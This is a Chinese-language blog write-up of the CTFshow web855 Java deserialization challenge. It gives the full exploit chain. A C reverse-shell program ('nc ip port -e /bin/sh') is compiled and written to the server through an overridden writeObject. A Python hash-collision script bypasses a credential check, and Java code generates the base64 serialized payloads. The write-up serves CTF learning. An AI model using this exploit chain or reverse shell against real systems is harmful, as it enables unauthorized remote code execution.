CTFSHOW web入门 java反序列化篇 web855

web855

得到源码后看到readObject里面有两条路可以走
1、写文件,文件名固定,文件内容开头固定后面内容可以通过write写入
在这里插入图片描述

2、执行命令,但是shellcodoe是不可控的(static)
在这里插入图片描述
在这里插入图片描述

如果两条路分开来看都没啥可利用的价值,但是放到一起就产生危害了。
可以看到他给的文件固定开头其实是一个elf可执行文件的文件头,也就是说我们可以写一个可执行程序。
接着如果执行shellcode命令则会给该文件一个权限并且执行。
可执行程序可以通过写一个c文件再gcc进行编译。

#include<stdlib.h>
 int main() {
	system("nc ip port -e /bin/sh"); 
	return 0;	
}

我们先来生成该恶意文件gcc a.c -o hack,接着把文件的前四字节删掉(可以用010editor)

接着利用反序列化写入,前面有几个if,我们可以重写writeObject写入

    private void writeObject(ObjectOutputStream out) throws Exception {
        //将名字反转写入二进制流
        out.writeInt(2135247942);
        out.writeByte(1);
        out.writeInt(0x36d);
        File filename = new File("ser/hack"); //gcc生成的文件位置
        BufferedInputStream in = new BufferedInputStream(new FileInputStream(filename));
        ByteArrayOutputStream out2 = new ByteArrayOutputStream(1024);
        byte[] temp = new byte[1024];
        int size = 0;
        while((size = in.read(temp)) != -1){
            out2.write(temp, 0, size);
        }
        in.close();
        byte[] content = out2.toByteArray();
        out.write(content);
        out.defaultWriteObject();
    }

接着创建主类和main函数生成base64序列化串

package com.ctfshow.entity;
import java.io.*;

public class Main {
    public static void main(String[] args)throws Exception {
        User user = new User("123", "123");

        ByteArrayOutputStream baos = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(baos);
        oos.writeObject(user);
        String payload = new String(Base64.getEncoder().encode(baos.toByteArray()));
        System.out.println(payload);
    }
}

传入序列化串进行反序列化。

此时已经生成了恶意可执行程序,然后再执行shellcode。
在这里插入图片描述
有个比较关键的点需要绕过。
我们实例化时传入的username和password不能是ctfshow和123456,但是hash比较时又相等。
这个地方需要用到java里面的hash碰撞()
可以用如下代码生成

def hashcode(val):
    h=0
    for i in range(len(val)):
        h=31 * h + ord(val[i])
    return h 
t="ct"
#t="12"
for k in range(1,128):
    for l in range(1,128):
        if t!=(chr(k)+chr(l)):
            if(hashcode(t)==hashcode(chr(k)+chr(l))):
                print(t,chr(k)+chr(l))

得到

ct,dU
12,0Q

可以用dU代替ct,0Q代替12

    private void writeObject(ObjectOutputStream out) throws Exception {
        out.writeInt(2135247942);
        out.writeByte(2);
        out.defaultWriteObject();
    }

package com.ctfshow.entity;
import java.io.*;

public class Main {
    public static void main(String[] args)throws Exception {
        User user = new User("dUfshow", "0Q3456");

        ByteArrayOutputStream baos = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(baos);
        oos.writeObject(user);
        String payload = new String(Base64.getEncoder().encode(baos.toByteArray()));
        System.out.println(payload);
    }
}

  • 3
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 2
    评论
评论 2
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

yu22x

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值